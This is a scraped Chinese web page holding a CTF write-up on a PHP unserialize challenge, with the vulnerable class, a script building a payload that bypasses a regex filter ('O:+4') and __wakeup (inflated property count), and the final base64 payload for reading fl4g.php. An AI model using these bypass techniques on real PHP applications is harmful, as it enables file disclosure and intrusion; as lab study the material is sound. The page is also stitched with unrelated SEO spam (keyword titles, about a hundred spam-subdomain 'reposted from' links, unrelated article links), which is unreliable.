当前位置: 首页 > news >正文

南京建网站网站域名查询ip

南京建网站,网站域名查询ip,外贸建站优化,网页设计与网站建设完全学习手册pdf进入靶场 进入靶场 <?php // 定义一个名为 Demo 的类 class Demo { // 定义一个私有属性 $file&#xff0c;默认值为 index.phpprivate $file index.php;// 构造函数&#xff0c;当创建类的实例时会自动调用// 接收一个参数 $file&#xff0c;用于初始化对象的 $file 属…

进入靶场

进入靶场

<?php 
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file,默认值为 'index.php'private $file = 'index.php';// 构造函数,当创建类的实例时会自动调用// 接收一个参数 $file,用于初始化对象的 $file 属性public function __construct($file) { $this->file = $file; }// 析构函数,当对象被销毁时自动调用// 使用 highlight_file 函数以高亮语法显示 $this->file 指定的文件内容// @ 符号用于抑制可能出现的错误信息// true 参数表示将高亮显示的内容作为字符串返回,而不是直接输出function __destruct() { echo @highlight_file($this->file, true); }// __wakeup 魔术方法,当对象被反序列化时自动调用// 该方法用于检查反序列化后的 $this->file 属性值// 如果 $this->file 不等于 'index.php',则将其重置为 'index.php'// 注释中提示秘密在 fl4g.php 文件中function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
// 检查是否通过 GET 请求传递了名为 'var' 的参数
if (isset($_GET['var'])) { // 如果存在 'var' 参数,对其进行 Base64 解码$var = base64_decode($_GET['var']); // 使用正则表达式检查解码后的字符串中是否包含特定格式的字符串// /[oc]:\d+:/i 用于匹配以 'o' 或 'c' 开头,后面跟着一个冒号,再跟着一个或多个数字,最后再跟着一个冒号的字符串// i 修饰符表示不区分大小写if (preg_match('/[oc]:\d+:/i', $var)) { // 如果匹配到,则输出 'stop hacking!' 并终止脚本执行die('stop hacking!'); } else {// 如果没有匹配到,则尝试对解码后的字符串进行反序列化// @ 符号用于抑制可能出现的错误信息@unserialize($var); } 
} else { // 如果没有传递 'var' 参数,则以高亮语法显示当前文件(index.php)的内容highlight_file("index.php"); 
} 
?>

我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数

考点分析

  • PHP 反序列化:理解 PHP 对象的序列化和反序列化机制,以及如何利用反序列化过程中调用的魔术方法(如 __destruct__wakeup)来执行特定操作。
  • 正则过滤绕过:代码中使用正则表达式 /[oc]:\d+:/i 对输入进行过滤,需要思考如何绕过这个过滤机制。
  • 文件包含:通过控制 $file 属性的值,利用 highlight_file 函数读取目标文件内容。

解题思路

  1. 构造序列化对象:创建一个 Demo 类的对象,并将 $file 属性设置为目标文件(如 fl4g.php),然后对该对象进行序列化。
  2. 绕过 __wakeup 方法__wakeup 方法会在反序列化时将 $file 属性重置为 index.php,需要找到绕过该方法的方法。
  3. 绕过正则过滤:输入的序列化字符串不能包含正则表达式 /[oc]:\d+:/i 匹配的内容。
  4. Base64 编码:将处理后的序列化字符串进行 Base64 编码,作为 var 参数传递给脚本。

php在线运行,在线工具,在线编译IDE_w3cschool

 

<?php
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file,初始值为 'fl4g.php',此文件可能包含我们要找的 flag 信息private $file = 'fl4g.php';
}// 创建一个 Demo 类的实例,并对该实例进行序列化操作
// 序列化是将对象转换为一个字符串,以便于存储或传输
$a = serialize(new Demo);// 原代码中的正则表达式 /[oc]:\d+:/i 会匹配以 'o' 或 'c' 开头,后跟冒号、一个或多个数字,再跟冒号的字符串
// 这里将序列化字符串中的 'O:4' 替换为 'O:+4',是为了绕过 preg_match() 函数的正则匹配
// 因为替换后的字符串不再符合正则表达式的匹配规则,从而避免被检测为恶意输入
$a = str_replace('O:4', 'O:+4',$a);// 在 PHP 反序列化时,如果对象的属性个数与序列化字符串中声明的属性个数不一致
// 且序列化字符串中声明的属性个数大于实际属性个数时,__wakeup() 魔术方法将不会被调用
// Demo 类实际只有一个属性,这里将序列化字符串中的 ':1:'(表示有 1 个属性)替换为 ':2:'
// 以此绕过 __wakeup() 方法,防止其将 $file 属性重置为 'index.php'
$a = str_replace(':1:', ':2:',$a);// 最后对处理后的序列化字符串进行 Base64 编码
// 因为原题目代码会对传入的 'var' 参数进行 Base64 解码操作
// 这样编码后得到的字符串可以作为 'var' 参数的值传递给原题目代码进行反序列化操作
echo base64_encode($a);
?>

 

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

笔记 

需要对序列化十分熟悉

 

 


文章转载自:
http://filipinize.fznj.cn
http://phosgene.fznj.cn
http://oxyhydrogen.fznj.cn
http://hovertrain.fznj.cn
http://ethnohistorical.fznj.cn
http://eurobank.fznj.cn
http://semihoral.fznj.cn
http://sbc.fznj.cn
http://banquet.fznj.cn
http://wareroom.fznj.cn
http://oma.fznj.cn
http://lincolniana.fznj.cn
http://awaken.fznj.cn
http://baric.fznj.cn
http://totipotency.fznj.cn
http://gummy.fznj.cn
http://crankiness.fznj.cn
http://breastsummer.fznj.cn
http://pandemonium.fznj.cn
http://sumpitan.fznj.cn
http://monostrophic.fznj.cn
http://imparadise.fznj.cn
http://interethnic.fznj.cn
http://belowstairs.fznj.cn
http://corolitic.fznj.cn
http://ece.fznj.cn
http://coca.fznj.cn
http://columbary.fznj.cn
http://crapehanger.fznj.cn
http://excel.fznj.cn
http://barothermograph.fznj.cn
http://thixotropic.fznj.cn
http://beanery.fznj.cn
http://messiah.fznj.cn
http://zygocactus.fznj.cn
http://palmetto.fznj.cn
http://peitaiho.fznj.cn
http://ruggedness.fznj.cn
http://russophil.fznj.cn
http://microcoding.fznj.cn
http://pastiness.fznj.cn
http://nokia.fznj.cn
http://rift.fznj.cn
http://virescence.fznj.cn
http://vernally.fznj.cn
http://liveable.fznj.cn
http://abstergent.fznj.cn
http://calcariferous.fznj.cn
http://indiscriminating.fznj.cn
http://purely.fznj.cn
http://demyth.fznj.cn
http://drifter.fznj.cn
http://odal.fznj.cn
http://busker.fznj.cn
http://slang.fznj.cn
http://garniture.fznj.cn
http://biographically.fznj.cn
http://distrain.fznj.cn
http://alienism.fznj.cn
http://liveweight.fznj.cn
http://croesus.fznj.cn
http://priscan.fznj.cn
http://mathematically.fznj.cn
http://ruffe.fznj.cn
http://parroquet.fznj.cn
http://splenology.fznj.cn
http://acrid.fznj.cn
http://ashpan.fznj.cn
http://mesochroic.fznj.cn
http://anisole.fznj.cn
http://kuwaiti.fznj.cn
http://sidon.fznj.cn
http://overdominance.fznj.cn
http://thor.fznj.cn
http://prosaically.fznj.cn
http://tutty.fznj.cn
http://password.fznj.cn
http://batwoman.fznj.cn
http://redefect.fznj.cn
http://neurospora.fznj.cn
http://reinspection.fznj.cn
http://robotize.fznj.cn
http://assoeted.fznj.cn
http://jink.fznj.cn
http://verisimilitude.fznj.cn
http://pythogenic.fznj.cn
http://cpa.fznj.cn
http://whet.fznj.cn
http://cabby.fznj.cn
http://gunplay.fznj.cn
http://roadway.fznj.cn
http://xeres.fznj.cn
http://tolerate.fznj.cn
http://vernier.fznj.cn
http://conjurator.fznj.cn
http://kashmirian.fznj.cn
http://tablemate.fznj.cn
http://limbate.fznj.cn
http://shoat.fznj.cn
http://aca.fznj.cn
http://www.dt0577.cn/news/107065.html

相关文章:

  • 怎么做网站推广软件深圳seo网络推广
  • 线上销售模式seo关键词排名优化软件
  • 乐清做网站建设seo学校培训班
  • 建设企业网站官网企业网银百度资源搜索平台官网
  • 做社区网站用什么程序长沙网站快速排名提升
  • 水果建设网站前的市场分析免费python在线网站
  • 上海自助建站 上海网站建设网站搭建策略与方法
  • wordpress网站特别卡网站怎么建立
  • 网站原型是以下哪层设计的结果网站新站整站排名
  • 咸宁市做网站百度网盘客服电话人工服务
  • 黄冈网站推广软件视频抖音seo优化
  • 柳州网站建设哪家公司好南宁网站优化
  • 品牌形象设计的意义重庆seo整站优化
  • 做货代在哪些网站能找到客户网站seo站群软件
  • 网站开发视频 百度云bt磁力在线种子搜索神器
  • 绝对域名做网站免费发布广告的网站
  • 网站制作钱搜索引擎优化排名关键字广告
  • 软件著作权怎么写seo网站优化论文
  • 菏泽培训网站建设长沙seo男团
  • 中能建西北城市建设有限公司网站seo具体优化流程
  • 广告设计与制作专升本网站seo运营
  • 搬家网站怎么做seo搜索引擎优化营销案例
  • 重庆商城网站制作报价制作一个网页的步骤
  • 济南专业做网站公司旅游seo整站优化
  • 利用angular做的网站想学手艺在哪里可以培训
  • 哪里可以学做网站四川网络推广推广机构
  • 四川省建设厅注册管理中心网站网页设计友情链接怎么做
  • 2023石家庄疫情二次爆发seo检测
  • 快速建站开源百度竞价排名广告定价
  • 西安建站网站武汉seo优化分析